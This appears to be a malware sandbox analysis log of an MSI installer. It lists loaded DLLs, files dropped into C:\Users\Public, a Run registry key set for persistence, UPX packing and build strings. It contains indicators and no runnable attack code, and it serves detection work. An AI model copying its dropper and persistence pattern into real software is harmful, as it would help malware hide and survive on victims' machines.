Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winhttpcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msdart.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe	Section loaded: shutdownext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Section loaded: webview2loader.dll	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Section loaded: webview2loader.dll	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Section loaded: version.dll	Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe

File written: C:\Users\user\AppData\Local\AdvinstAnalytics\66ac0c9e2ff508bfba878aa5\8.7.6.8\tracking.ini

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: 9rybs.msi

Static file information: File size 12885696 > 1048576

Source:	Binary string: wininet.pdb source: shi64B2.tmp.3.dr
Source:	Binary string: E:\B\T\d30760c8-f36a-4525-bc41-ffb9fa48b740\build\Win32\Release\mc-webview-cnt.pdb source: PeFIvJrY.exe, PeFIvJrY.exe, 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, PeFIvJrY.exe, 0000000D.00000002.1727643919.00000000003E1000.00000040.00000001.01000000.00000004.sdmp
Source:	Binary string: C:\JobRelease\win\Release\bin\x86\embeddeduiproxy.pdb source: 9rybs.msi, 495fa1.msi.2.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\SoftwareDetector.pdb source: 9rybs.msi, MSI6487.tmp.2.dr, 495fa1.msi.2.dr
Source:	Binary string: d3d12.pdbUGP source: shi6530.tmp.3.dr
Source:	Binary string: d3d12.pdb source: shi6530.tmp.3.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\SoftwareDetector.pdb\ source: 9rybs.msi, MSI6487.tmp.2.dr, 495fa1.msi.2.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\InstallerAnalytics.pdbu source: 9rybs.msi, MSI6185.tmp.2.dr, MSI7033.tmp.2.dr, MSI9F25.tmp.2.dr, MSI6F17.tmp.2.dr, 495fa1.msi.2.dr, MSI6F47.tmp.2.dr
Source:	Binary string: E:\B\T\d30760c8-f36a-4525-bc41-ffb9fa48b740\build\Win32\Release\mc-webview-cnt.pdbJ source: PeFIvJrY.exe, 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, PeFIvJrY.exe, 0000000D.00000002.1727643919.00000000003E1000.00000040.00000001.01000000.00000004.sdmp
Source:	Binary string: wininet.pdbUGP source: shi64B2.tmp.3.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\InstallerAnalytics.pdb source: 9rybs.msi, MSI6185.tmp.2.dr, MSI7033.tmp.2.dr, MSI9F25.tmp.2.dr, MSI6F17.tmp.2.dr, 495fa1.msi.2.dr, MSI6F47.tmp.2.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\AICustAct.pdb source: 9rybs.msi, MSI6467.tmp.2.dr, 495fa1.msi.2.dr, MSI635C.tmp.2.dr, MSI7003.tmp.2.dr, MSI62DE.tmp.2.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\AICustAct.pdbg source: 9rybs.msi, MSI6467.tmp.2.dr, 495fa1.msi.2.dr, MSI635C.tmp.2.dr, MSI7003.tmp.2.dr, MSI62DE.tmp.2.dr

Source: shi6530.tmp.3.dr

Static PE information: 0x96D7AA59 [Sat Mar 12 16:44:09 2050 UTC]

Source: shi64B2.tmp.3.dr	Static PE information: section name: .wpp_sf
Source: shi64B2.tmp.3.dr	Static PE information: section name: .didat

Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_004441FD push esi; ret	12_2_00444206
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_00426443 push ecx; ret	12_2_00426456
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_063237CA push eax; iretd	12_2_063237CD
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_06321205 push edx; retf	12_2_06321206
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_063212BA push edx; retf	12_2_063212BB
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_06321101 push ebx; retf	12_2_06321102

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7003.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6F47.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7033.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe (copy)	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI62DE.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\Public\PeFI\vJrY\PeFI.png	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\Public\PeFI\vJrY\WebView2Loader.dll.png (copy)	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI9F25.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\Public\PeFI\vJrY.png	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6185.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\shi6530.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\shi64B2.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI635C.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6F17.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\Public\PeFI\vJrY\vJrY.png (copy)	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6467.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6487.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\Public\PeFI\vJrY\WebView2Loader.dll (copy)	Jump to dropped file

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7003.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6F47.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7033.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI62DE.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI9F25.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6185.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI635C.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6F17.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6467.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6487.tmp	Jump to dropped file

Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\Public\PeFI\vJrY\PeFI.png			Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\Public\PeFI\vJrY.png			Jump to dropped file

Source: C:\Windows\SysWOW64\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run PeFIvJrY			Jump to behavior
Source: C:\Windows\SysWOW64\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run PeFIvJrY			Jump to behavior

Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe

Code function: 12_2_0042536C GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

12_2_0042536C

Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
